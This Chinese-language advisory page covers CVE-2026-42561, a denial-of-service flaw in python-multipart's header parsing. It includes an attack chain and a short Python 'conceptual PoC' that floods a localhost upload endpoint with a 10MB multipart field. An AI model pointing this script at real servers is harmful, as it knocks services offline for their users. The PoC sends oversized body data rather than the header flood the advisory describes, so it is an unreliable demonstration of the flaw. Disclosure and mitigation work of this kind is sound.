IPBUF安全漏洞报告
English
CVE-2026-42561 CVSS 7.5 高危

CVE-2026-42561 Python-Multipart拒绝服务漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-42561
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
python-multipart

相关标签

DoS拒绝服务python-multipart资源耗尽Header Parsing

漏洞概述

Python-Multipart是一个用于Python的流式多部分解析器。在0.0.27版本之前,该组件在解析multipart/form-data时存在拒绝服务漏洞。由于缺乏对部分头部数量和单个头部大小的限制,攻击者可通过发送大量重复头部或超大头部值的恶意请求,导致服务器过度消耗CPU资源,从而造成服务拒绝响应。

技术细节

该漏洞源于python-multipart库的MultipartParser在处理multipart/form-data请求时缺乏必要的边界检查。具体而言,解析器未限制Part Header的总数量,也未限制单个Header字段值的长度。攻击者可精心构造恶意数据包,例如发送包含极长字符的单个Header或数以千计的重复Header且不终止Header块。当解析器尝试处理这些异常数据时,将进行大量的字符串处理和内存分配操作,占用极高的CPU时间片。在多线程服务器模型中,这种攻击可能迅速耗尽所有工作线程,导致合法请求无法被处理。虽然该漏洞主要影响可用性(A:H),不会导致数据泄露或篡改,但其利用门槛极低,对依赖该库的Web服务构成显著威胁。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统使用了存在漏洞的python-multipart库版本(< 0.0.27)来处理multipart/form-data请求。
STEP 2
步骤2
攻击者构造恶意的HTTP请求,包含大量重复的Part Header或单个超长的Header值,且不终止Header块。
STEP 3
步骤3
将恶意请求发送至目标服务器。
STEP 4
步骤4
服务器的MultipartParser在解析这些异常Header时,CPU利用率急剧上升,导致资源耗尽,无法响应其他正常请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests from requests_toolbelt.multipart.encoder import MultipartEncoder def send_malicious_request(url): """ Conceptual PoC for CVE-2026-42561. Sends a request with a very large header value to trigger CPU exhaustion. """ # Generate a large string to simulate a large header value or part data large_value = "A" * 10000000 # 10MB string # In a real exploitation scenario, the attacker might need to manipulate raw sockets # to bypass client-side limits on header size. # Here we simulate sending a large payload in the multipart data. fields = { 'field_name': ('filename.txt', large_value, 'text/plain') } try: # Create the multipart encoder multipart_data = MultipartEncoder(fields=fields) headers = { 'Content-Type': multipart_data.content_type } # Send the POST request print(f"Sending malicious request to {url}...") response = requests.post(url, data=multipart_data, headers=headers, timeout=10) print(f"Request completed with status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - potential DoS condition triggered.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Replace with the target URL target = "http://localhost:8000/upload" send_malicious_request(target)

影响范围

python-multipart < 0.0.27

防御指南

临时缓解措施
在无法立即升级组件的情况下,建议在反向代理层(如Nginx)配置`large_client_header_buffers`和`limit_req`指令,严格限制HTTP请求头的大小和请求速率。同时,可以通过WAF(Web应用防火墙)规则检测并阻断包含异常头部特征的流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表